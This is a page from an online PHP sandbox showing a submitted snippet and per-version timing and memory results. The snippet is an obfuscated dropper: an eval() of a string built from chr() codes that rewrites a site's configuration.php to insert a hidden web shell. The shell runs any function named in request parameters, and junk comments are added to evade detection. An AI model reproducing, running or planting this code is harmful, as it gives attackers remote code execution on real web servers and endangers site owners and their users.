3v4l.org

run code in 300+ PHP versions simultaneously
<?php $c=eval(chr(36).chr(102).chr(110).chr(32).chr(61).chr(32).chr(115).chr(116).chr(114).chr(95).chr(114).chr(101).chr(112).chr(108).chr(97).chr(99).chr(101).chr(40).chr(39).chr(105).chr(110).chr(100).chr(101).chr(120).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(32).chr(39).chr(99).chr(111).chr(110).chr(102).chr(105).chr(103).chr(117).chr(114).chr(97).chr(116).chr(105).chr(111).chr(110).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(32).chr(36).chr(95).chr(83).chr(69).chr(82).chr(86).chr(69).chr(82).chr(91).chr(39).chr(83).chr(67).chr(82).chr(73).chr(80).chr(84).chr(95).chr(70).chr(73).chr(76).chr(69).chr(78).chr(65).chr(77).chr(69).chr(39).chr(93).chr(41).chr(59).chr(32).chr(105).chr(102).chr(32).chr(40).chr(102).chr(105).chr(108).chr(101).chr(95).chr(112).chr(117).chr(116).chr(95).chr(99).chr(111).chr(110).chr(116).chr(101).chr(110).chr(116).chr(115).chr(40).chr(36).chr(102).chr(110).chr(44).chr(32).chr(115).chr(116).chr(114).chr(95).chr(114).chr(101).chr(112).chr(108).chr(97).chr(99).chr(101).chr(40).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(39).chr(44).chr(32).chr(34).chr(60).chr(63).chr(112).chr(104).chr(112).chr(92).chr(110).chr(105).chr(102).chr(32).chr(40).chr(105).chr(115).chr(115).chr(101).chr(116).chr(40).chr(92).chr(36).chr(95).chr(82).chr(69).chr(81).chr(85).chr(69).chr(83).chr(84).chr(91).chr(92).chr(34).chr(83).chr(66).chr(92).chr(34).chr(93).chr(41).chr(41).chr(32).chr(123).chr(47).chr(42).chr(108).chr(113).chr(90).chr(82).chr(120).chr(42).chr(47).chr(64).chr(101).chr(120).chr(116).chr(114).chr(97).chr(99).chr(116).chr(40).chr(92).chr(36).chr(95).chr(82).chr(69).chr(81).chr(85).chr(69).chr(83).chr(84).chr(41).chr(59).chr(47).chr(42).chr(99).chr(88).chr(88).chr(108).chr(69).chr(72).chr(111).chr(88).chr(112).chr(42).chr(47).chr(64).chr(100).chr(105).chr(101).chr(40).chr(92).chr(36).chr(83).chr(66).chr(40).chr(92).chr(36).chr(78).chr(70).chr(66).chr(121).chr(99).chr(41).chr(41).chr(59).chr(47).chr(42).chr(110).chr(84).chr(113).chr(107).chr(88).chr(102).chr(97).chr(69).chr(65).chr(42).chr(47).chr(125).chr(92).chr(110).chr(34).chr(44).chr(32).chr(102).chr(105).chr(108).chr(101).chr(95).chr(103).chr(101).chr(116).chr(95).chr(99).chr(111).chr(110).chr(116).chr(101).chr(110).chr(116).chr(115).chr(40).chr(36).chr(102).chr(110).chr(41).chr(41).chr(41).chr(41).chr(32).chr(100).chr(105).chr(101).chr(40).chr(39).chr(120).chr(52).chr(50).chr(120).chr(39).chr(41).chr(59)); ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0150.00416.74
8.3.50.0110.00821.14
8.3.40.0040.01118.66
8.3.30.0090.00618.67
8.3.20.0030.00520.43
8.3.10.0080.00021.73
8.3.00.0040.00423.65
8.2.180.0130.00918.54
8.2.170.0040.01122.96
8.2.160.0140.00020.47
8.2.150.0050.00324.18
8.2.140.0000.00824.66
8.2.130.0050.00319.95
8.2.120.0040.00426.35
8.2.110.0060.00319.58
8.2.100.0040.00818.03
8.2.90.0000.00818.00
8.2.80.0050.00318.98
8.2.70.0050.00317.75
8.2.60.0050.00317.75
8.2.50.0050.00317.75
8.2.40.0000.00820.55
8.2.30.0040.00419.55
8.2.20.0080.00017.89
8.2.10.0000.00818.20
8.2.00.0080.00018.21
8.1.280.0090.00925.92
8.1.270.0090.00020.53
8.1.260.0080.00028.09
8.1.250.0000.00828.09
8.1.240.0070.00320.63
8.1.230.0120.00020.91
8.1.220.0030.00618.77
8.1.210.0000.00819.20
8.1.200.0030.00517.48
8.1.190.0090.00017.35
8.1.180.0080.00018.10
8.1.170.0000.00818.77
8.1.160.0040.00420.86
8.1.150.0000.00718.98
8.1.140.0050.00319.52
8.1.130.0000.00717.79
8.1.120.0040.00417.59
8.1.110.0040.00417.54
8.1.100.0040.00417.59
8.1.90.0050.00317.60
8.1.80.0070.00017.59
8.1.70.0070.00017.45
8.1.60.0080.00317.68
8.1.50.0030.00617.62
8.1.40.0040.00417.55
8.1.30.0000.00817.70
8.1.20.0040.00417.79
8.1.10.0000.00917.62
8.1.00.0000.00917.51
8.0.300.0000.00720.13
8.0.290.0000.00817.00
8.0.280.0040.00418.51
8.0.270.0040.00417.44
8.0.260.0070.00017.35
8.0.250.0000.00717.11
8.0.240.0030.00317.21
8.0.230.0000.00717.23
8.0.220.0070.00017.04
8.0.210.0030.00617.13
8.0.200.0030.00317.12
8.0.190.0080.00017.11
8.0.180.0040.00717.05
8.0.170.0030.00617.15
8.0.160.0000.00717.22
8.0.150.0050.00317.04
8.0.140.0000.00717.13
8.0.130.0030.00313.53
8.0.120.0040.00417.10
8.0.110.0030.00517.09
8.0.100.0040.00417.25
8.0.90.0060.00317.26
8.0.80.0100.01217.16
8.0.70.0030.00517.10
8.0.60.0030.00517.06
8.0.50.0000.00817.11
8.0.30.0100.00917.24
8.0.20.0120.00817.40
8.0.10.0000.00717.07
8.0.00.0120.01216.74
7.4.330.0020.00216.98
7.4.320.0000.00816.63
7.4.300.0000.00816.63
7.4.290.0020.00516.71
7.4.280.0030.00616.58
7.4.270.0030.00316.71
7.4.260.0030.00316.76
7.4.250.0030.00616.74
7.4.240.0040.00316.63
7.4.230.0000.00716.64
7.4.220.0100.00716.52
7.4.210.0110.00416.60
7.4.200.0030.00316.71
7.4.160.0110.00916.95
7.4.150.0070.01017.40
7.4.140.0050.01917.86
7.4.130.0110.00816.59
7.4.120.0110.01016.65
7.4.110.0110.00716.76
7.4.100.0090.00916.70
7.4.90.0070.01316.72
7.4.80.0160.00719.39
7.4.70.0120.00616.49
7.4.60.0060.00916.60
7.4.50.0060.00916.49
7.4.40.0120.00616.84
7.4.30.0110.01216.73
7.4.00.0120.00315.30
7.3.330.0000.00613.24
7.3.320.0030.00313.36
7.3.310.0000.00716.39
7.3.300.0040.00416.40
7.3.290.0040.01116.38
7.3.280.0060.00916.51
7.3.270.0090.00917.40
7.3.260.0080.01116.61
7.3.240.0090.01216.48
7.3.230.0060.01116.63
7.3.210.0130.00716.61
7.3.200.0190.00619.39
7.3.190.0080.00816.45
7.3.180.0140.00316.46
7.3.170.0070.01016.71
7.3.160.0100.00716.79
7.3.10.0040.01216.69
7.3.00.0060.00316.74
7.2.330.0090.00916.71
7.2.320.0150.00316.66
7.2.310.0090.00916.44
7.2.300.0090.01516.69
7.2.290.0100.00716.91
7.2.130.0070.00717.06
7.2.120.0100.00716.75
7.2.110.0070.00716.91
7.2.100.0100.00717.04
7.2.90.0130.00716.73
7.2.80.0060.00617.01
7.2.70.0000.01316.97
7.2.60.0120.00517.18
7.2.50.0040.01116.93
7.2.40.0030.00717.03
7.2.30.0000.01117.23
7.2.20.0100.00316.77
7.2.10.0100.00916.95
7.2.00.0060.00818.26
7.1.250.0070.01015.58
7.1.200.0070.00315.96
7.1.100.0030.00918.29
7.1.70.0000.00917.10
7.1.60.0140.01119.27
7.1.50.0110.01116.80
7.1.00.0070.07322.38
7.0.200.0040.00716.91
7.0.100.0300.07720.29
7.0.90.0100.03720.15
7.0.80.0100.06320.19
7.0.70.0100.08020.16
7.0.60.0330.07320.06
7.0.50.0130.06020.52
7.0.40.0070.08720.21
7.0.30.0100.04720.25
7.0.20.0070.05020.22
7.0.10.0030.07020.12
7.0.00.0030.05320.03
5.6.280.0000.03721.21
5.6.250.0100.06320.71
5.6.240.0100.07320.72
5.6.230.0030.04720.71
5.6.220.0070.05020.73
5.6.210.0100.07720.72
5.6.200.0130.08321.13
5.6.190.0030.07321.13
5.6.180.0100.07321.14
5.6.170.0030.06721.04
5.6.160.0100.04321.25
5.6.150.0100.06721.14
5.6.140.0070.04021.11
5.6.130.0030.05721.09
5.6.120.0130.07321.21
5.6.110.0100.04021.18
5.6.100.0030.08721.23
5.6.90.0070.04721.10
5.6.80.0100.07320.40
5.6.70.0100.07320.54
5.6.60.0100.04320.59
5.6.50.0100.03720.50
5.6.40.0130.08020.40
5.6.30.0070.07720.53
5.6.20.0070.08020.48
5.6.10.0030.07720.57
5.6.00.0070.08020.50
5.5.380.0170.04020.53
5.5.370.0070.04320.46
5.5.360.0130.04320.59
5.5.350.0130.06720.42
5.5.340.0170.06320.82
5.5.330.0000.09020.81
5.5.320.0100.08021.01
5.5.310.0030.07720.96
5.5.300.0170.06321.00
5.5.290.0100.07020.86
5.5.280.0030.09720.88
5.5.270.0070.07720.90
5.5.260.0070.05020.95
5.5.250.0030.08720.81
5.5.240.0030.07320.30
5.5.230.0030.06720.33
5.5.220.0100.07020.25
5.5.210.0130.07320.27
5.5.200.0100.08020.08
5.5.190.0130.04020.27
5.5.180.0130.06720.36
5.5.160.0100.07020.33
5.5.150.0000.08720.31
5.5.140.0100.04320.25
5.5.130.0070.04020.30
5.5.120.0130.06720.30
5.5.110.0070.06320.31
5.5.100.0100.06720.10
5.5.90.0100.06020.24
5.5.80.0130.06720.04
5.5.70.0070.04720.15
5.5.60.0100.06020.23
5.5.50.0070.07320.24
5.5.40.0100.05020.10
5.5.30.0130.06720.00
5.5.20.0030.05020.23
5.5.10.0230.05720.15
5.5.00.0170.05320.13

preferences:
66.74 ms | 401 KiB | 5 Q